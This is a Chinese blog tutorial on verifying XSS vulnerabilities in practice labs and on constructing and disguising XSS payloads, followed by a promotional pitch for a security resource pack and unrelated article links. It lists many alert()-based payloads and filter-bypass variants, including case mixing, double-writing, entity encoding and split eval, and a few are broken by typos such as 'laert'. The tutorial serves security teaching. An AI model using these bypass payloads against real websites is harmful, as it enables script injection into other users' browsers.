【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

OWASP TOP 10(二)XSS漏洞(概述、PoC、分类、构造、变形绕过、XSS-Filter、xsser、xsstrike) 文章目录OWASP Top 10XSS一、概述二、XSS危害三、XSS相关四、使用PoC代码简单验证XSS漏洞五、XSS分类1. 反射型XSS2. 存储型XSS3. DOM型XSS六、XSS的构造1. 利用<>构造HTML或JS标签2. 伪协议3. 事件驱动七、XSS的变形1. 大小写转换2. 引号的使用3. 利用左斜线代替空格4. 添加Tab或回车符5. 对标签属性值进行转码6. 拆分跨站7. 双写绕过XSS练习平台 OWASP Top 10 XSS 一、概述 XSS被称为跨站脚本攻击(Cro 阅读详情
目录
  • 1 漏洞验证相关概念
  • 2 XSS漏洞验证
    • 2.1 常见POC
    • 2.2 反射型XSS漏洞验证
    • 2.3 存储型XSS漏洞验证
    • 2.4 DOM型XSS漏洞验证
  • 3 XSS语句构造与绕过
    • 3.1 XSS语句构造方式
    • 3.2 变形及绕过方式
  • 4 总结

1 漏洞验证相关概念

  1. 常见概念
    POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
    EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
    Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
    Shellcode:简单翻译 ’ shell代码 ',是Payload的一种。Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
  2. POC与EXP对比
    POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
  3. Payload与Shellcode
    Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。
  4. Payload与EXP
    同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
  5. Payload模块
    在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager主要用于当目标计算机的内存有限时,可以先传输一个较小的Stager用于建立连接,Stages指利用Stager建立的连接下载后续的Payload。Stager和Stages都有多种类型,适用于不同场景。

2 XSS漏洞验证

2.1 常见POC

可以用一段简单的代码(POC)来验证与检查漏洞的存在,常见的用于验证XSS漏洞存在的POC如下:

<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>


2.2 反射型XSS漏洞验证
  1. 反射型XSS漏洞常存在于参数中。本实验在XSS-labs第一关做验证,点击网站直接开战:http://test.ctf8.com/level1.php?name=test
    在这里插入图片描述
  2. 我们将URL中的参数修改为?name=111回车,可以看到弹出以下页面,并我们的内容显示在页面上,后续我们将测试此处是否存在反射型XSS漏洞。
    在这里插入图片描述
  3. 我们将参数修改为?name=<script>alert(/xss/)</script>,测试是否触发弹窗。回车可以看到弹出窗口,说明网站后台未对输入参数进行过滤,存在漏洞。
    在这里插入图片描述
  4. 我们右键网页,点击查看源码,如下。由于该网页没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script>alear(/xss/)</script></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>


2.3 存储型XSS漏洞验证
  1. 存储型XSS漏洞常存在于数据库内容中,如留言板等。此处利用之前搭建的论坛网站的留言功能作为实验平台,该平台的搭建过程参考《搭建一个简单丑陋的论坛网站》。

  2. 我们登录访问该网站,使用我们之前住过的账号a,密码也是a。登录后返回首页,点击“我要留言”。
    在这里插入图片描述

  3. 使用留言功能,留下如下的内容:<script>alert(/xss/)</script>。点击提交
    在这里插入图片描述

  4. 再次返回首页,可以看到刚刚留下的留言。
    在这里插入图片描述

  5. 点击该留言,出现弹窗,这就是存储型XSS漏洞。
    在这里插入图片描述

  6. 右键该页面,查看网页源码,如下.我们看到因为我们搭建的平台没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。

<html>
<head>
<meta charset = "utf-8">
<title>留言论坛</title>
</head>
<body>
<h1>留言内容</h1><a href = '../index.php'>返回首页</a><hr />
作者:a<br>标题:存储型XSS<hr /><script>alert(/xss/)</script></body>
</html>


2.4 DOM型XSS漏洞验证
  1. 暂时没有找到什么平台适合测试,就找到了一段代码,我们将其存在phpstudy网站的根目录下的dom.php文件中,稍后进行测试。该代码中的script标签内的内容意思是,定义一个变量a并赋值为URL,为a解码,将message=后面的内容写入到DOM树中。
<html>
<head>
	<title>DOM-XSS</title>
	<meta>charset="utf-8">
</heaf>
<body>
<script>
	var a = document.URL;
	a = unescape(a);
	document.write(a.substring(a.indexOf("message=")+8,a.length));
</script>
</bofy>
</html>


  1. 我们通过浏览器访问该网页,因为我们还没有给URL传递参数message,此处将内容以存文本的形式输出。
    在这里插入图片描述
  2. 修改参数为?message=<script>alert(/xss/)</script>,回车时则出现弹窗。
    在这里插入图片描述
  3. 我们右键查看源代码,发现代码与刚刚编写的一致,并没有弹窗的内容。
    在这里插入图片描述
  4. 审查网页元素,则可以看到DOM树这里多出了个弹窗内容,就是上述document语句修改生成的。(有的浏览器查看结果有区别,可以试试不同浏览器的解析结果)
    在这里插入图片描述

3 XSS语句构造与绕过

3.1 XSS语句构造方式
  1. 第一种:可以利用[<>]构造HTML/JS语句,如
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>


  1. 第二种:可以利用javascript:伪协议的方式构造XSS。
<a href="javascript:alert(/xss/)">touch me</a> 	//利用a标签的javascript:伪协议
<img src="javascript:alert(/xss/)" > 		//利用img标签的javascript:伪协议,但是这种方式在IE6下测试成功,在IE8失败


  1. 第三种:事件驱动:事件驱动是一种比较经典的编程思想。在网页内会发生很多事件(比如鼠标移动,键盘输入等),JS可以对此类事件进行响应,因此我们可以通过事件触发JS函数,触发XSS。事件种类主要有以下几种。
    1. Windows事件:对Windows对象触发的事件;
    2. Form事件:HTML表单内的动作触发事件;
    3. keyboard事件:键盘按键;
    4. Mouse事件:有鼠标或类似用户动作触发的事件;
    5. Media事件:由多媒体触发的事件。
<img src='./smile.jpg' onmouseover='alert(/xss/)'>	//该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'>		//onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'>				//与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)">		//单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">


  1. 第四种:是利用CSS(层叠样式脚本)触发XSS的,该方法比较古老,现已基本不适用于主流浏览器,以下代码均在IE6下进行测试。
// 行内样式
<div style = "backgroud-image:url(javascript:alert(/xss/))">
//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>
//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
//其中xss.css文本内容如下
h1 {color:red;}
div{
	/*width:expression(alert(/xss/))*/
	backgroud-image:url(javascript:alert(/xss/))
}
@ expression
<div style="width:expression(alert(/xss/))">
<style>Body{backgroud-image:expression(alert(/xss/));}</style>
@import
<style>@import 'javascript:alert("xss")';</style>
<style type="text/css">@import url(xss.css);</style><div>HELLO</div>


  1. 其他标签及手法,利用一些比较新的前端标签进行构造。
<svg onload="alert(/xss/)">
<input onfocus=alert(xss/) autofocus>


3.2 变形及绕过方式
  1. 目的:我们可以将构造的XSS代码进行各种变形,以绕过XSS过滤器检测。
  2. 第一种:大小写混编
    可以将payload进行大小写混编,如以下例子。例子中包含两种语言,其中html语言对大小写不敏感,也就是说无论是大小写,该语言都认为是同一个函数;但是JS语言对大小写敏感,比如alert()函数,如果改为Alert(),JS语言则认为是另一个东西。
<Img Src='#' Onerror='alert(/xss/)'>						//由<img src='#' οnerrοr='alert(/xss/)'>变形得到的
<A Href="javascript:alert(/xss/)">touch me</a>	//由<a href="javascript:alert(/xss/)">touch me</a>变形得到的


  1. 第二种:双写绕过。当发现过滤器仅进行一次过滤时并将一些关键字过滤为空,则可以使用双写绕过。
<scr<script>ipt>alert(/xss/)</scr</script>ipt>


  1. 第三种:引号的使用
    HTML语言中对引号的使用不敏感,但是有些过滤函数则对引号时锱铢必较的,因此我们可以使用不同引号来闭合XSS语句。
//以下三种均可能成功触发XSS,具体能否注入就看过滤是如何过滤的了。
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>


  1. 第四种:使用 [/] 代替空格,如:
<img/src='#'/onerror='alert(/xss/)'>


  1. 第五种:在一些关键字内,可以插入回车符与Tab符来绕过关键字检测。
<img src	='#' onerror='alert(/xss/)'>		//有时候tab符插在关键字内会失效。
<a href="ja
vascript:alert(/xss/)">touch me</a>


  1. 第六种:
    1. 编码绕过。可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。
      字符a,对应ASCII码97,十进制编码&#97,十六进制编码&#x61。
      字符e,对应ASCII码101,十进制编码&#101,十六进制编码&#x65。
    2. 另外,可以将以下字符插入到任意位置中:
      Tab ==> &#9
      换行 ==> &#10
      回车 ==> &#13
    3. 可以将以下字符插入到头部位置。
      SOH ==> &#01
      STX ==> &#01
      转码后例子如下:
<A href="j&#97;v&#x61;script:laert(/xss/)">click me!</a>					//经过简单编码
<A href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:laert(/xss/)">click me!</a>	//经过插入字符


  1. 第七种:拆分跨站,将语句才分成多个,拼串起来后再执行。
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>		//ecal为执行函数,将后续的字符串当成语句执行。


  1. 第八种:CSS中的变形。
width: expression(alert(/xss/))			//使用全角字符
width:expre/**/ssion(alert(/xss/))								//注释会被浏览器忽略
<style>@import 'javas\cri\0pt:alert(/xss/)';</style>	//插入 \ 和 \0 符号


4 总结

  1. 了解漏洞验证相关概念含义;
  2. 掌握XSS漏洞验证的方法;
  3. 掌握XSS语句构造的5种方法;
  4. 掌握XSS语句绕过的8种方法。

参考文献

  1. 《渗透中POC、EXP、Payload与Shellcode的区别》

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

漏洞验证的流程与规范 漏洞名称 ·存在漏洞的URL ·扫描报告中的加固方案。·漏洞评级 证明过程步骤截图 ·漏洞信息检索获取到的加固方案。1.漏洞相关信息 2.漏洞证明 3.加固方案。 阅读详情

相关推荐

「 典型安全漏洞系列 」11.身份验证漏洞详解

身份验证即认证,是验证给定用户或客户端身份的过程。身份验证漏洞使攻击者能够访问敏感数据和功能。它们还暴露了额外的攻击面以供进一步利用。身份验证漏洞的影响非常严重。如果攻击者绕过身份验证或强行进入另一个用户的帐户,他们就可以访问被泄露帐户的所有数据和功能。如果他们能够危害高特权帐户(如系统管理员),他们就可以完全控制整个应用程序,并有可能访问内部基础设施。

所有成功的背后,都是痛苦的坚持,所有的痛苦,都是傻瓜般的不放弃! 3187

XSS语句大全

10、t_sort="type="button" onfocus="alert(1) onfocus-当窗口获得焦点时运行脚本。13、Cookies传 user=" onclick="alert(1)" type="text"12、User agent传 "type="button" onclick="alert(1)11、Referer传" type="button" onclick="alert(1)转化为实体字符: javascript:alert('xss')

ch_ycc的博客 4110

Apache-Plc4x-Modbus-Tcp学习记录(一)

Apache-Plc4x-Modbus-Tcp学习记录(一)

weixin_45325423的博客 6988

XSS大全

XSS的原理和特性 xss:将用户的输入当作前端代码执行 注入攻击的本质,是把用户输入的数据当做代码执行。 这里有两个关键条件: 第一个是用户能够控制输入 第二个是原本程序要执行的代码,拼接了用户输入的数据 html:定义了网页的结构 css:美化页面 js:可以操浏览器 XSS主要拼接的是什么 SQL注入拼接的是操作数据库的SQL语句。 XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句(总结:xss就是拼接恶意的HTML) xss

weixin_46601374的博客 9099

SAP PP实战:MRP Area怎么用?手把手教你按产线、委外供应商拆分物料计划

本文详细解析了SAP PP模块中MRP Area的功能与应用,指导如何按产线、委外供应商拆分物料计划,实现精细化物料需求管理。通过实战案例展示MRP Area在减少计划冲突、提升库存准确率方面的显著效果,为制造业企业提供可落地的解决方案。

weixin_27015733的博客 432

置换矩阵、转置矩阵以及向量空间、子空间

置换矩阵、转置矩阵以及向量空间、子空间导读置换矩阵 导读 MIT矩阵分析课程之后的的二篇笔记。

qq_44677482的博客 1673

【精选】【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

了解漏洞验证相关概念含义;掌握XSS漏洞验证的方法;掌握XSS语句构造的5种方法;掌握XSS语句绕过的8种方法。

cc123489ll的博客 1274

Protege新手入门:5分钟搞定本体建模基础(附实战案例)

本文为Protege本体建模新手提供了一份快速入门指南。通过构建一个关于“披萨”的实战案例,详细讲解了从环境准备、定义核心类(Classes)、建立对象属性(Object Properties)到设置数据属性(Data Properties)和创建个体的完整流程。文章旨在帮助读者绕过复杂理论,在5分钟内直观掌握本体建模的基础操作,快速建立知识图谱构建的信心。

weixin_28335283的博客 285

【精选】【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法_xss验证

了解漏洞验证相关概念含义;掌握XSS漏洞验证的方法;掌握XSS语句构造的5种方法;掌握XSS语句绕过的8种方法。

韩束一叶子 1595

Android-S无线模块前瞻

WiFi - mainlane非强制 S 采用反射的方法直接加载wifiservice,直接hook在systemserver上,无编译依赖。gms可以动态替换wifi服务。 R 采用直接启动service的方式,wifiservice仍然map在systemserver上。 WiFi - 11ad接口支持 11ad被wifi联盟商业化为WIGIG,提供短距的60GHZ载波,理论速度为当前5G 11ac的6倍。市面上基本没有手机支持,需要独立的芯片支撑此功能。 传输距离为3m以内,外界d.

头铁的伦的博客 1044

RK3568开发笔记- (TX/RX) RGMII delayline 功能调试

本文详细介绍了RK3568芯片RGMII接口delayline功能的调试过程。针对千兆以太网通信不稳定问题,通过分析RGMII时序要求,利用RK3568内置的delayline功能补偿信号延迟。调试方法包括扫描delayline窗口、测试中间值配置、优化硬件设计等步骤。文章还总结了常见问题解决方案,如PHY选型建议和自动扫描功能配置。最终实现了千兆速率下丢包率降至0.01%以下的目标,为类似开发场景提供了实用参考。

flypig has a dream! 318
上一篇: 小白是如何挖漏洞的(技巧篇)入门教程(非常详细)从零基础入门到精通,看完这一篇就够了_漏洞挖掘
下一篇: 都2025年,我是真的不建议做网络工程师了!!
网络安全_入门教程
博客等级 码龄4年 1万+粉丝 2151原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值